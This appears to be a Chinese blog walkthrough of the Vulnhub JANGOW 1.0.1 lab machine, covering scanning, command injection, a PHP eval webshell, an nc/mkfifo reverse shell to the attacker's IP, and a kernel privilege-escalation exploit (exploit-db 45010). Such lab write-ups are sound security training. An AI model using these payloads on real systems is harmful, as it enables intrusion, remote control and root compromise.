【渗透测试】 Vulnhub JANGOW: 1.0.1
渗透环境
攻击机: IP: 192.168.149.128(Kali)
靶机: IP:192.168.149.129
靶机下载地址:https://www.vulnhub.com/entry/jangow-101,754/
进行渗透
一、 获取IP及端口信息
使用nmap扫描同网段IP,如果使用的是VMware可能出现扫描不到的情况,需要在靶机的恢复模式里重新配置一下靶机的网卡,网上教程很多,这里就不展开讲了。
nmap -sn 192.168.149.0/24
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820173623763-1887335902.png)
获得靶机的IP为192.168.149.129
接下来对端口进行扫描(稍微有点久)
nmap -sV -p- -A -O 192.168.149.129
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820174752032-624967734.png)
我们知道靶机开放了21和80端口,并且知道了软件的版本号和操作系统。
二、 尝试发现漏洞
1. 访问80端口
打开网站有多个可以跳转的链接,逐一点开,发现一个可以的get型参数
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820174659483-790806800.png)
试一下在此输入命令whoami
,发现可以执行。
2. 进行攻击
既然可以执行命令,我们就尝试反弹shell。但是尝试过后发现,无论使用bash -i
还是使用nc
都无法反弹shell。
接下来尝试写入一句话木马
echo '<?php @eval($_POST['soap']); ?>' >> Mr_Soap.php
查看目录,发现我们的一句话木马已经写入
接下来使用蚁剑进行连接
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820180225236-1588550401.png)
连接后浏览目录,发现一个可疑文件,并在其中发现用户名和密码。
我们刚才扫描出一个21端口,我们尝试使用这个用户进行登录
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820181413286-1509656373.png)
登录成功但是没有发现有用的文件
三、 提权
接下来我们还是使用nc进行连接。我们写入一个nc.php
,在其中调用system函数,让其在bash中执行nc连接。
<?php system("rm /tmp/aaa; mkfifo /tmp/aaa; cat /tmp/aaa | /bin/sh -i 2>&1 | nc 192.168.149.128 443 >/tmp/aaa");?>
rm /tmp/aaa:删除名为 /tmp/aaa 的文件(如果存在)。
mkfifo /tmp/aaa:创建一个命名管道(FIFO)文件 /tmp/aaa。
cat /tmp/aaa|/bin/sh -i 2>&1:将 /tmp/aaa 中的内容传递给 /bin/sh(Bash shell),实现交互式的命令执行。
nc 192.168.149.128 443 >/tmp/aaa:通过 netcat (nc) 命令将标准输入和输出重定向到 /tmp/aaa,将命令输出发送到 IP 地址为 192.168.149.128,端口号为 443 的远程主机。
这里经过尝试只能使用443端口,其他端口不可行。443为默认的https端口,但是这台机器没有在上面启用服务,所以我们才想到用443进行测试,发现可以成功反弹shell。
接下来先在kali中队443端口进行监听,然后访问192.168.149.129/site/nc.php
![](https://img2023.cnblogs.com/blog/3159215/202308/3159215-20230820183258020-1011882216.png)
成功反弹shell
在当前终端中创建一个交互式的bash终端
python3 -c 'import pty;pty.spawn("/bin/bash")'
这使用户能够执行命令并与系统交互,就像直接在一个正常的终端中一样
接下来我们尝试使用刚才获取的用户名和密码进行登录,并使用命令sudo -l
查看这个用户能使用哪些sudo命令
这个用户没有什么可利用的地方,那就只能再找找看有没有系统漏洞。
查看系统内核版本和发行版本
uname -a #查看内核版本
lsb_release -a #查看Ubuntu版本
搜索系统版本
searchsploit 4.4.0-31 ubuntu
图中红框内的三个漏洞标题中都含有Privilege Escalation
,表明他们是用于提权的
接下来我们尝试使用红框内的第一个exp,先查看这个exp的路径(这些exp都是保存在本地的)
searchsploit -p 45010.c
接下来查看它的详细信息
cat /usr/share/exploitdb/exploits/linux/local/45010.c
在文件的头部我们可以看到使用方法,即gcc
编译后再执行就可以了(不要忘记添加执行权限)
接下来我们把exp下载下来,在最下面可以看到保存的路径
searchsploit -m 45010.c
然后我们将其编译
gcc 45010.c -o exp
接下来我们将其传回去,一般情况下我们使用python开启一个简易服务器即可
服务器:python3 -m http.server [port]
客户机:wget [host:8000/filename]
但是经过尝试,传输失败,不要忘了该靶机还开了FTP服务,可以通过FTP进行传输,或者使用蚁剑传输都是可以的,这里我使用FTP进行传输。
成功将exp传入靶机/home/jangow01/exp
,注意使用put
传输文件时,该文件要存在kali当前的路径中。
接下来我们为这个文件添加执行权限,然后执行它,但是这里报错了
这是因为我这里的kali版本过高,使用高版本的GLIBC编译的文件无法在靶机中运行。
既然我们有源码,可以直接将源码传到靶机中(上面已经讲了如何传文件,这里不再赘述),在靶机中完成编译并执行。
这里看到我们的权限已经是root了。渗透完成。